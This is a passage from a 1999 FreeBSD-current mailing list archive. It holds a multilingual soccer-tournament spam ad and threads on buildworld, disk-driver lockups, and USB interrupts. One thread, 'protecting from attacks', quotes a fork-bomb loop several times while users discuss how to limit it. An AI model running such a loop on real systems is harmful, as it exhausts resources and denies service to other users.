(fragments) only in the last direct block. ! */ #define MAXFRAG 8 Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 6:16: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from smtp.tiscalinet.it (fornax.tiscalinet.it [195.130.224.67]) by hub.freebsd.org (Postfix) with SMTP id C24EC15593 for ; Fri, 29 Oct 1999 06:15:13 -0700 (PDT) (envelope-from eventsport@yahoo.com) Received: (qmail 5573 invoked by uid 7770); 29 Oct 1999 13:01:01 -0000 Received: from ca2-966.tiscalinet.it (HELO yahoo.com) (212.123.92.70) by fornax.tiscalinet.it with SMTP; 29 Oct 1999 13:01:01 -0000 Message-ID: <38199A86.94C7A33F@yahoo.com> Date: Fri, 29 Oct 1999 15:00:57 +0200 From: Vincenzo Girau Reply-To: eventsport@tiscalinet.it Organization: Eventsport - International Soccer Tournaments X-Mailer: Mozilla 4.5 [it] (Win95; I) X-Accept-Language: it MIME-Version: 1.0 Subject: Sardinia Cup 2000 - International Soccer Tournament Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear sporting friends, We want to inform you that we will organize international football tournaments in Sardinia, of which you will find more greater reports in the enclosed news. We like invite yours teams to these tournaments. When your team had interested to the participation in one or more of these foregoing events, contact us. We invite you to visit our site Internet to the address http://www.geocities.com/eventsport In the 1999 at Sardinia Cup we have had two teams from Peru, three teams from Romania. See results at http://www.geocities.com/eventsport/sardinia_cup_gb_1999.html Sardinia Cup 2000 5 - 9 July 2000 Assemini (CAGLIARI) - Sardinia - Italy http://www.geocities.com/eventsport/sardinia_cup_gb_2000.html CATEGORIES ADMITTED Categories admitted Limit of age Times of play Boys born A - Debuttanti * 1.1.1991 or 2 x 20' later B - Pulcini * Boys born 2 x 20' 1.1.1989 or later C - Esordienti Boys born 2 x 20' 1.1.1987 or later D - Giovanissimi Boys born 2 x 25' 1.1.1985 or later Boys born E - Allievi 1.1.1983 or 2 x 25' later F - Juniores Boys born 2 x 25' 1.1.1981 or later G - Womens without limit of 2 x 30' age H - Mens without limit of 2 x 30' age I - Futsal - without limit of Mens** age 2 x 25' L - Futsal - without limit of Womens** age 2 x 25' * The categories A - B played with 7-a side. ** The categories I - L played with 5-a side Dates of the tournament: 5 - 9 July 2000 Start of the Tournament: 5 July 2000 End of the Tournament: 8 July 2000 Number of matches for team: minimum 4, maximum 6. First meal: supper of the 5 July 2000 Last meal: breakfast of the 9 July 2000 Fields of play: in beat earth, in natural grass and in synthetic grass for the futsal. PROGRAMME OF THE TOURNAMENT WEDNESDAY 5 July 2000 Hours 9.00 Arrival. Meeting of all clubs. Parade at the Stadium. Hours 9.30 Opening of the Tournament at the Stadium. Official Welcome to all the participants. Hours 10.00 Start of the Tournament. Hours 16.00 Qualifying games. THURSDAY 6 July 2000 Hours 9.00 Qualifying games. Hours 16.00 Qualifying games. FRIDAY 7 July 2000 Hours 9.00 Qualifying games. Hours 16.00 Qualifying games. SATURDAY 8 July 2000 Hours 9.00 Semi-finals. Hours 16.00 Finals. Hours 20.00 Ceremony of prize-winners. SUNDAY 9 July 2000 Hours 9.00 Preparation for the departure. Departure. Maybe technical changes. INDIVIDUAL FEE OF PARTICIPATION (From the dinner of 5 July 2000 at the breakfast of 9 July 2000) EXTRA ARRANGEMENT 4 NIGHTS 4 NIGHTS 4 NIGHTS EXTRA EXTRA NIGHT B/B H/B F/B NIGHT B/B NIGHT H/B F/B Schools - players and £. £. 2 ====== ====== 200.000 ====== ====== 60.000 teamleaders 104 EURO 32 EURO Hotel*** - Boys £. £. £. £. 70.000 £. 80.000 £. (0 - 10 old 240.000 280.000 320.000 90.000 years) 125 EURO 146 EURO 166 EURO 37 EURO 42 EURO 47 EURO Hotel*** - £. £. £. £. 75.000 £. 85.000 £. adults 280.000 320.000 360.000 95.000 146 EURO 166 EURO 187 EURO 40 EURO 45 EURO 50 EURO Arrangement in room double, triple or multiple for the players. All rooms with with private bathroom. Fee of participation for every team: £. 350.000 (181 EURO)**. Fee of participation for team. that don't exploite accomodation of the Tournament (without transfers) £. 1.200.000 (620 EURO)** ** (not repayable on case of renouncement). THE INDIVIDUAL FEE OF PARTICIPATION INCLUDES: Participation at the chosen Tournament and arrangement in accomodation of your chose. THE FEE DOESN'T INCLUDE: transfers from and from the airports or the harbors, excursions, drinks, entrances and another and everything as not specified expressly to the voice "The individual fee of participation includes". SUPPLEMENT FOR SINGLE ROOM AT HOTEL***: £. 30.000 (16 EURO) italian Lires for night. TRANSPORT: Fee of transport for team. from the harbor or from the airport of Cagliari: CAGLIARI - ASSEMINI and return £. 750.000 (388 EURO) for team. FINAL DATE OF INSCRIPTION: 06 May 2000 (after this data will be accepted only inscriptions at complete places). PAYMENT: Fee of participation for team: within of the 06 May 2000. Individual fee of participation: 40% within of the 20 May 2000. Balance: within of the 06 June 2000. NOTE: the inscription will be valid only to total happened sale and if the form of inscription will have compiled in each your part. Otherwise the bookings for the hotels, the adhesion of the teams to the manifestation won't be guaranteed. Into positive case, your adhesion will have confirmed quickly from the Eventsport. For adesion or further informations about the International Football Tournaments signed in this pages contact us by fax (please with text in english, french or italian) at the number: +39 070 9459282 or send us a E-Mail: eventsport@yahoo.com Eventsport organize also: 4th Assemini Cup 2000 27 - 30 December 2000 Assemini (CAGLIARI) - Sardinia - Italy http://www.geocities.com/eventsport/assemini_cup_gb_2000.html 2st Epiphany Cup 2001 2 - 6 January 2001 Assemini (CAGLIARI) - Sardinia - Italy http://www.geocities.com/eventsport/epiphany_cup_gb_2001.html and more other tournaments http://www.geocities.com/eventsport/tournaments.html Hoping to have you like participant at one of our events and awaiting a your quick response, we offers you, Best regards, Eventsport Vincenzo Girau ================================================================================ If you don't want to receive ours messages please send a e-mail at: eventsport@yahoo.com with in the subject line "unsubscribe Eventsport" ================================================================================ Eventsport International Football Tournaments Vincenzo Girau via Po, 22 09032 Assemini (CAGLIARI) Sardinia - Italy - Europe Tel.: +39 070 9459074 Fax: +39 070 9459282 Cell.: +39 (0)338 5226170 http://www.geocities.com/eventsport http://web.tiscalinet.it/eventsport E-mail: eventsport@yahoo.com ================================================================================ Cari amici sportivi, Intendiamo informarVi che organizziamo e promuoviamo Tornei Internazionali di Calcio, dei quali troverete maggiori notizie di seguito. Ci fa piacere invitare la Vostra squadra a questi tornei. Qualora la Vostra squadra fosse interessata alla partecipazione ad una o più di queste manifestazioni suddette, Vi preghiamo di metterVi subito in contatto con noi. Vi invitiamo a visitare il nostro sito Internet all'indirizzo http://www.geocities.com/eventsport Nel 1999 al Sardinia Cup abbiamo avuto come partecipanti anche due squadre provenienti dal Perù e tre squadre dalla Romania. Vedi i risultati all'indirizzo http://www.geocities.com/eventsport/sardinia_cup_1999.html Sardinia Cup 2000 5 - 9 Luglio 2000 Assemini (CAGLIARI) - Sardinia - Italy http://www.geocities.com/eventsport/sardinia_cup_2000.html CATEGORIE PARTECIPANTI Categorie Limit of age Durata gare A - Debuttanti * nati dal 1.1.1991 2 x 20' in poi B - Pulcini * nati dal 1.1.1989 2 x 20' in poi C - Esordienti nati dal 1.1.1987 2 x 20' in poi D - Giovanissimi nati dal 1.1.1985 2 x 25' in poi E - Allievi nati dal 1.1.1983 2 x 25' in poi F - Juniores nati dal 1.1.1981 2 x 25' in poi G - Donne senza limite 2 x 30' d'età H - Uomini senza limite 2 x 30' d'età I - Calcio a 5 - senza limite Maschile** d'età 2 x 25' L - Calcio a 5 - senza limite Femminile** d'età 2 x 25' * Le categorie A - B giocano con 7 giocatori in campo. ** Le categorie I - L giocano con 5 giocatori in campo. Date di svolgimento: 5 - 9 Luglio 2000 Inizio del Torneo: 5 Luglio 2000 Fine del Torneo: 8 Luglio 2000 Numero di partite per squadra: minimo 4, massimo 6. Primo Pasto: pranzo del 5 Luglio 2000 Ultimo Pasto: colazione del 9 Luglio 2000 Campi di gioco: in terra battuta, in erba naturale e in erba sintetica per il calcio a 5. PROGRAMMA DEL TORNEO MERCOLEDI' 5 Luglio 2000: Arrivo delle squadre. Ore 9.00 Raduno di tutti i club partecipanti. Ore 9.30 Cerimonia di apertura del Torneo e benvenuto ufficiale a tutti i partecipanti. Ore 10.00 Inizio del Torneo. Ore 16.00 Qualificazioni. GIOVEDI' 6 Luglio 2000: Ore 9.00 Qualificazioni. Ore 16.00 Qualificazioni. VENERDI' 7 Luglio 2000: Ore 9.00 Qualificazioni. Ore 16.00 Qualificazioni. SABATO 8 Luglio 2000: Ore 9.00 Semifinali. Ore 16.00 Finali. Ore 20.00 Cerimonia di premiazione. DOMENICA 9 Luglio 2000: Ore 9.00 Preparativi per viaggio di ritorno. Partenza e inizio del viaggio di ritorno. Sono possibili variazioni di carattere tecnico. COSTI INDIVIDUALI DI ALLOGGIO (Dal pranzo del 5 luglio 2000 alla colazione del 9 luglio 2000) TIPO DI 4 NOTTI 4 NOTTI 4 NOTTI NOTTE NOTTE NOTTE ALLOGGIO B/B H/B F/B EXTRA B/B EXTRA H/B EXTRA F/B Scuole - atleti + £. £. 60.000 2 adulti ====== ====== 200.000 ====== ====== 32 EURO a squadra 104 EURO Hotel*** - ragazzi £. £. £. £. 70.000 £. 80.000 240.000 280.000 320.000 £. 90.000 (0 - 10 125 EURO 146 EURO 166 EURO 37 EURO 42 EURO 47 EURO anni) Hotel*** £. £. £. £. 75.000 £. 85.000 £. 95.000 - adulti 280.000 320.000 360.000 50 EURO 146 EURO 166 EURO 187 EURO 40 EURO 45 EURO B/B = Programma con pernottamento e prima colazione. H/B = Programma con mezza pensione. F/B = Programma con pensione completa. Camere doppie, triple o quadruple per gli atleti. Tutte le camere con servizi. Camere doppie per allenatori, dirigenti ed accompagnatori. Tutte le camere con servizi. Quota di partecipazione a squadra: £. 350.000 (181 EURO)**. Quota di partecipazione per squadra che non utilizza alloggi del Torneo (senza trasporti) £. 1.200.000 (620 EURO)**. ** (non rimborsabile in caso di rinuncia). LA QUOTA DI PARTECIPAZIONE COMPRENDE: Partecipazione al Torneo prescelto e pernottamenti negli alloggi di vostra scelta LA QUOTA NON COMPRENDE: trasferimenti da e per l'aeroporto o il porto di Cagliari, escursioni, bevande, ingressi, extra in genere e tutto quanto non specificato espressamente alla voce "LA QUOTA DI PARTECIPAZIONE COMPRENDE". SUPPLEMENTO CAMERA SINGOLA : £. 30.000 (16 EURO) al giorno per persona. TRASPORTO Quote di trasporto per squadre che arrivano al porto o all'aeroporto di Cagliari: CAGLIARI - ASSEMINI e ritorno £. 750.000 (388 EURO) a squadra. SCADENZA ISCRIZIONI: 6 Maggio 2000 (dopo tale data saranno accettate iscrizioni solo ad esaurimento posti). PAGAMENTO: Quota di iscrizione delle squadre: entro il 6 Maggio 2000. Pagamento quote di partecipazione per persona: 40% entro il 21 Maggio 2000. Saldo finale: entro il 6 Giugno 2000. NOTA BENE: non sarà accettata partecipazione di squadre che non abbiano regolato per tempo i loro impegni di pagamento. L'iscrizione sarà valida solo a saldo totale avvenuto e se il modulo d'iscrizione verrà compilato in ogni sua parte. Diversamente non si potranno garantire gli alloggi e quindi l'adesione della squadra al Torneo. In caso positivo, la vostra adesione vi verrà confermata al più presto da Eventsport. Per adesioni o ulteriori informazioni sui Tornei Internazionali di Calcio riportati in queste pagine contattateci tramite fax (in lingua italiana, francese o inglese) al numero: 070 9459282 o inviateci una E-Mail: eventsport@yahoo.com Eventsport organizza anche: 4° Assemini Cup 2000 27 - 30 Dicembre 2000 Assemini (CAGLIARI) - Sardegna - Italia http://www.geocities.com/eventsport/assemini_cup_2000.html 2° Epiphany Cup 2001 2 - 6 Gennaio 2001 Assemini (CAGLIARI) - Sardegna - Italia http://www.geocities.com/eventsport/epiphany_cup_2000.html e tanti altri tornei: http://www.geocities.com/eventsport/tornei.html Sperando di avere la Vostra squadra partecipante ad uno dei nostri eventi, e restando in attesa di una vostra veloce risposta, Vi porgiamo Distinti Saluti Eventsport Vincenzo Girau ================================================================================ Se tu non vuoi più ricevere nostre E-mail manda una E-mail a: eventsport@yahoo.com con soggetto "unsubscribe Eventsport" ================================================================================ Eventsport International Football Tournaments Vincenzo Girau via Po, 22 09032 Assemini (CAGLIARI) Sardinia - Italy - Europe Tel.: +39 070 9459074 Fax: +39 070 9459282 Cell.: +39 (0)338 5226170 http://www.geocities.com/eventsport http://web.tiscalinet.it/eventsport E-mail: eventsport@yahoo.com ================================================================================ Cher ami sportif, Nous voulons vous informer qui nous organizons tournois internationales de football en Sardaigne, desquelles vous trouverez plus de notices dans les pages allegués. Nous invitons votre club à la participation a ces tournois. Lorsque votre club est interessé à la participation dans une ou plus événements, s'il vous plait contactez nous. Nous vous invitons à visité nos pages in Internet à l'adresse http://www.geocities.com/eventsport Dans le 1999 au Sardinia Cup ont participé deux équipes du Peru et trois équipes de la Romanie. Les résultes sont à l'adresse http://www.geocities.com/eventsport/sardinia_cup_fr_1999.html 4éme Sardinia Cup 2000 5 - 9 Juillet 2000 Assemini (CAGLIARI) - Sardaigne - Italie http://www.geocities.com/eventsport/sardinia_cup_fr_2000.html CATÉGORIES D'ÂGE Catégories d'âge Limite d'âge Temps de jeu A - Debuttanti * Nè à partir du 2 x 20' 1.1.1991 ou après B - Pulcini * Nè à partir du 2 x 20' 1.1.1989 ou après C - Esordienti Nè à partir du 2 x 20' 1.1.1987 ou après D - Giovanissimi Nè à partir du 2 x 25' 1.1.1985 ou après E - Allievi Nè à partir du 2 x 25' 1.1.1983 ou après F - Juniores Nè à partir du 2 x 25' 1.1.1981 ou après G - Femmes sans limite d'âge 2 x 30' H - Hommes sans limite d'âge 2 x 30' I - Futsal - Hommes** sans limite d'âge 2 x 25' L - Futsal - Femmes** sans limite d'âge 2 x 25' * Les catégories A - B jouent avec sept joueurs pour équipe. ** Les catégories I - L jouent avec cinq joueurs pour équipe. Date du Tournoi: 5 - 9 Juillet 2000 Début du Tournoi: 5 Juillet 2000 Fin du Tournoi: 8 Juillet 2000 Nombre de matches par équipe: minimum 4, maximum 6. Premier repas: déjeuner du 5 Juillet 2000 Dernier repas: petit déjeuner du 9 Juillet 2000 Champs de jeu: herbeuse et en terre, synthétique pour le futsal. PROGRAMME DU TOURNOI MERCREDI 5 Juillet 2000 Heures 9.00 Arrivée. Rassemblement de toute les équipes. Défilé de toute les équipes à le stade. Heures 9.30 Ouverture du Tournoi. Bienvenue a toute les équipes participants. Heures 10.00 Début du Tournoi. JEUDI 6 Juillet 2000 Heures 9.00 Matches éliminatoires. Heures 16.00 Matches éliminatoires. VENDREDI 7 Juillet 2000 Heures 9.00 Matches éliminatoires. Heures 16.00 Matches éliminatoires. SAMEDI 8 Juillet 2000 Heures 9.00 Démi-finals. Heures 16.00 Finals. Heures 20.00 Distribution des prix. DIMANCHE 9 Juillet 2000 Heures 9.00 Préparatifs du départ. Départ. On peut vérifier changes du programme. FRAIS INDIVIDUEL DE PARTICIPATION (Du déjeuner du 5 Juillet 2000 au petit déjeuner du 9 Juillet 2000) HÉBERGEMENT 4 NUITS 4 NUITS 4 NUITS EXTRA EXTRA EXTRA B/B H/B F/B NUIT B/B NUIT H/B NUIT F/B Écoles - Joueurs + 2 £. £. dirigeants ====== ====== 200.000 ====== ====== 60.000 par équipe 104 EURO 32 EURO Hotel*** - jeunes £. £. £. £. 70.000 £. 80.000 £. (0 - 10 240.000 280.000 320.000 90.000 ans) 125 EURO 146 EURO 166 EURO 37 EURO 42 EURO 47 EURO Hotel*** - £. £. £. £. 75.000 £. 85.000 £. adults 280.000 320.000 360.000 95.000 146 EURO 166 EURO 187 EURO 40 EURO 45 EURO 50 EURO Frais de participation por chaque équipe: £. 350.000 (181 EURO)** par équipe . Frais de participation por chaque équipe qui ne utilise pas les hébergements du Tournoi (sans transferements) £. 1.200.000 (620 EURO)** par équipe. ** (ne pas remboursable dans le cas de forfait). Hébergement en chambres doubles ou multiples avec bains privés pour les joueurs. LE FRAIS INDIVIDUEL DE PARTICIPATION COMPREND: Participation au Tournoi choisi et hébergement avec traitement choisi. LE FRAIS NE COMPREND PAS: transferements de et pour les aéroports ou les ports, excursiones, boissons, entrées et extras de tout sorte et tout entier pas specifié expressément à la voix "Le frais individuel de participation comprend". SUPPLÉMENT POUR CHAMBRE INDIVIDUELLE EN HOTEL: £. 30.000 (16 EURO) par jour. TRANSPORT: Frais de transport pour équipe du port ou du airport de Cagliari: CAGLIARI - ASSEMINI et retour £. 750.000 (388 EURO) par équipe. EXPIRATION POUR L'INSCRIPTION: 06 Mai 2000 (après cette date on accepteront seulement inscriptiones jusque à la fin des places). PAYEMENT: Frais de participation por chaque équipe: entre le 06 Mai 2000. Frais individuel de participation: 40% entre le 21 Mai 2000. Solde: entre le 06 Juin 2000. NOTE: l'inscription sera valide seulement à solde total effectué et si le module d'inscription sera compilé de toutes parts. Autrement les inscriptions préalables pour les hôtels, l'inscription de l'équipe au tournoi ne seront pas garantis. Dans le cas positif, vôtre inscription sera confirmée le plus tôt possible par Eventsport. Pour adhésions ou ultérieures informations sur les Tournois Internationales de Football signés dans ces pages on peut se mettre en contact avec nous par fax (en langue anglaise, francaise ou italienne) : +39 070 9459282 ou envoyez une E-mail: eventsport@yahoo.com Eventsport organise aussi: 4éme Assemini Cup 2000 27 - 30 Decembre 2000 Assemini (CAGLIARI) - Sardaigne - Italie http://www.geocities.com/eventsport/assemini_cup_fr_2000.html 2éme Epiphany Cup 2001 2 - 6 Janvier 2001 Assemini (CAGLIARI) - Sardaigne - Italie http://www.geocities.com/eventsport/epiphany_cup_fr_2001.html et autres tournois: http://www.geocities.com/eventsport/tournois.html En espérant de voir vous comme participants à une de nos événements en Sardaigne et en attendant rapidement votre réponse, Vous veuillez agréer nos meilleures salutations. Eventsport Vincenzo Girau ================================================================================ Si tu ne veut pas recevoir our mail envoye e une E-mail: eventsport@yahoo.com avec le subject "unsubscribe Eventsport" ================================================================================ Eventsport International Football Tournaments Vincenzo Girau via Po, 22 09032 Assemini (CAGLIARI) Sardaigne - Italie - Europe Tel.: +39 070 9459074 Fax: +39 070 9459282 Cell.: +39 (0)338 5226170 http://www.geocities.com/eventsport http://web.tiscalinet.it/eventsport E-mail: eventsport@yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 6:21: 0 1999 Delivered-To: freebsd-current@freebsd.org Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20]) by hub.freebsd.org (Postfix) with ESMTP id 73A70155CB for ; Fri, 29 Oct 1999 06:20:48 -0700 (PDT) (envelope-from marcel@scc.nl) Received: from [212.238.132.94] (helo=scones.sup.scc.nl) by post.mail.nl.demon.net with esmtp (Exim 2.02 #1) id 11hBxL-0006rh-00; Fri, 29 Oct 1999 13:20:35 +0000 Received: from scc.nl (scones.sup.scc.nl [192.168.2.4]) by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id PAA46634; Fri, 29 Oct 1999 15:20:31 +0200 (CEST) (envelope-from marcel@scc.nl) Message-ID: <38199F1E.6906E724@scc.nl> Date: Fri, 29 Oct 1999 15:20:30 +0200 From: Marcel Moolenaar Organization: SCC vof X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.5 i386) X-Accept-Language: en MIME-Version: 1.0 To: "Chris D. Faulhaber" Cc: current@FreeBSD.org Subject: Re: make buildworld problem... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Chris D. Faulhaber" wrote: > > On Thu, 28 Oct 1999, Marcel Moolenaar wrote: > > > Peter Jeremy wrote: > > > > > > IMHO, the correct solution is to for the entire make world process to > > > be re-worked. > > > > That's what I'm currently doing. If I have a stripped down make process > > ready for public viewing, I'll let you all know. A thread on the subject > > can be found in the -arch archives. > > As an interim hack, would the following patch, which verifies > kern.osreldate >= 400011, suffice? IMO it's overkill for a one time situation that can be considered historical at this point in time :-) -- Marcel Moolenaar mailto:marcel@scc.nl SCC Internetworking & Databases http://www.scc.nl/ The FreeBSD project mailto:marcel@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 6:45:49 1999 Delivered-To: freebsd-current@freebsd.org Received: from ayukawa.aus.org (ayukawa.aus.org [199.166.246.1]) by hub.freebsd.org (Postfix) with ESMTP id 26985155AD for ; Fri, 29 Oct 1999 06:45:40 -0700 (PDT) (envelope-from lh@aus.org) Received: from PHOENIX.ZER0.NET (lh@ZER0.NET [199.166.246.189]) by ayukawa.aus.org (8.8.7/8.7.3) with ESMTP id JAA27769; Fri, 29 Oct 1999 09:45:00 -0400 (EDT) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <3819748D.46722BF6@altavista.net> Date: Fri, 29 Oct 1999 09:44:43 -0400 (EDT) From: Luke To: Maxim Sobolev Subject: RE: protecting from attacks Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have been trying to figure out a sane method of stopping this one: while(1) { fork(); } on a machine with no limits the load went to 290+ I tried fiddling with limits and got it down to making the load 2-3 but the limits are ridiculous. I didn't look in mail archives so sorry if this has been discussed before Luke To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 6:58:54 1999 Delivered-To: freebsd-current@freebsd.org Received: from megadodo.segNET.COM (megadodo.segNET.COM [206.34.181.3]) by hub.freebsd.org (Postfix) with ESMTP id 7948115626 for ; Fri, 29 Oct 1999 06:58:22 -0700 (PDT) (envelope-from adams@digitalspark.net) Received: from nightfall.digitalspark.net (arc1a146.bf.sover.net [209.198.80.146]) by megadodo.segNET.COM (8.9.1a/8.8.5) with ESMTP id JAA16290; Fri, 29 Oct 1999 09:58:12 -0400 (EDT) Date: Fri, 29 Oct 1999 10:02:51 +0000 (GMT) From: Adam Strohl To: Luke Cc: Maxim Sobolev , current@FreeBSD.ORG Subject: RE: protecting from attacks In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I seem to recall allowing a limit for max processes when I was looking at fork bombs back in '95 ... ahh the memories. - ----( Adam Strohl )------------------------------------------------ - - UNIX Operations/Systems http://www.digitalspark.net - - adams (at) digitalspark.net xxx.xxx.xxxx xxxxx - - ----------------------------------------( DigitalSpark.NET )------- - On Fri, 29 Oct 1999, Luke wrote: > I have been trying to figure out a sane method of stopping this one: > while(1) { > fork(); > } > > on a machine with no limits the load went to 290+ I tried fiddling with > limits and got it down to making the load 2-3 but the limits are ridiculous. > I didn't look in mail archives so sorry if this has been discussed before > > Luke > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 6:58:56 1999 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id C719B15629 for ; Fri, 29 Oct 1999 06:58:32 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id HAA16941; Fri, 29 Oct 1999 07:21:17 -0700 (PDT) Date: Fri, 29 Oct 1999 07:21:17 -0700 (PDT) From: Alfred Perlstein To: Luke Cc: Maxim Sobolev , current@FreeBSD.ORG Subject: RE: protecting from attacks In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 29 Oct 1999, Luke wrote: > I have been trying to figure out a sane method of stopping this one: > while(1) { > fork(); > } > > on a machine with no limits the load went to 290+ I tried fiddling with > limits and got it down to making the load 2-3 but the limits are ridiculous. > I didn't look in mail archives so sorry if this has been discussed before rmuser is the prefered way to fix it. If you have abusive users then get rid of them, however if a limited user is able to take down a box we want to hear about it. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 7: 1:31 1999 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id E9EDE14C4C for ; Fri, 29 Oct 1999 07:01:29 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id HAA16967; Fri, 29 Oct 1999 07:22:58 -0700 (PDT) Date: Fri, 29 Oct 1999 07:22:58 -0700 (PDT) From: Alfred Perlstein To: #Michael Class Cc: current@FreeBSD.ORG Subject: Re: (vinum?) lockups in strategy routines? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 29 Oct 1999, #Michael Class wrote: > Hello, > > just another datapoint. I just installed two new IBM DPTA-343740 > discs into my System at home. They are configured with striping in vinum. > Within a day I got two solid lockups with the new ata-drivers. After > that I switchied to the old wd-driver. Everythings works fine since then. Same here, I just compiled a new system with the old wd driver instead of ata and i'm happily crunching along. Sometime between now and october 6th something went wrong? -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 7: 5:47 1999 Delivered-To: freebsd-current@freebsd.org Received: from ipt2.iptelecom.net.ua (ipt2.iptelecom.net.ua [212.42.68.2]) by hub.freebsd.org (Postfix) with ESMTP id DD03E14E2C for ; Fri, 29 Oct 1999 07:05:42 -0700 (PDT) (envelope-from sobomax@altavista.net) Received: from vega.vega.com (dialup2-46.iptelecom.net.ua [212.42.74.110]) by ipt2.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id RAA08919; Fri, 29 Oct 1999 17:08:12 +0300 (EEST) Received: from altavista.net (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.9.3/8.9.3) with ESMTP id RAA59576; Fri, 29 Oct 1999 17:05:03 +0300 (EEST) (envelope-from sobomax@altavista.net) Message-ID: <3819A98E.955F2E05@altavista.net> Date: Fri, 29 Oct 1999 17:05:02 +0300 From: Maxim Sobolev Reply-To: sobomax@altavista.net Organization: Vega International Capital X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Alfred Perlstein Cc: Luke , current@FreeBSD.ORG Subject: Re: protecting from attacks References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alfred Perlstein wrote: > however if a limited > user is able to take down a box we want to hear about it. Take a look at my posting with "VM DOS attack" subject. -Maxim -- "We believe in the Power and the Might!" (Manowar, 1996) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 8: 5:47 1999 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id BBD2814BF7 for ; Fri, 29 Oct 1999 08:05:43 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id LAA95902; Fri, 29 Oct 1999 11:05:37 -0400 (EDT) (envelope-from wollman) Date: Fri, 29 Oct 1999 11:05:37 -0400 (EDT) From: Garrett Wollman Message-Id: <199910291505.LAA95902@khavrinen.lcs.mit.edu> To: Christopher Masto Cc: usb-bsd@egroups.com, current@FreeBSD.ORG Subject: VESA module breaks USB? In-Reply-To: <19991028222748.A10530@netmonger.net> References: <19991028222748.A10530@netmonger.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > ohci0: irq 9 at device 11.0 on pci0 > +ohci_waitintr: timeout IRQ 9 is shared with the VGA controller. Perhaps calling the VESA BIOS caused it to do something strange that interfered with the delivery of this interrupt on your motherboard. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 8:23:15 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 7DED11503A for ; Fri, 29 Oct 1999 08:22:57 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id LAA23320; Fri, 29 Oct 1999 11:22:53 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id LAA34322; Fri, 29 Oct 1999 11:22:22 -0400 (EDT) (envelope-from 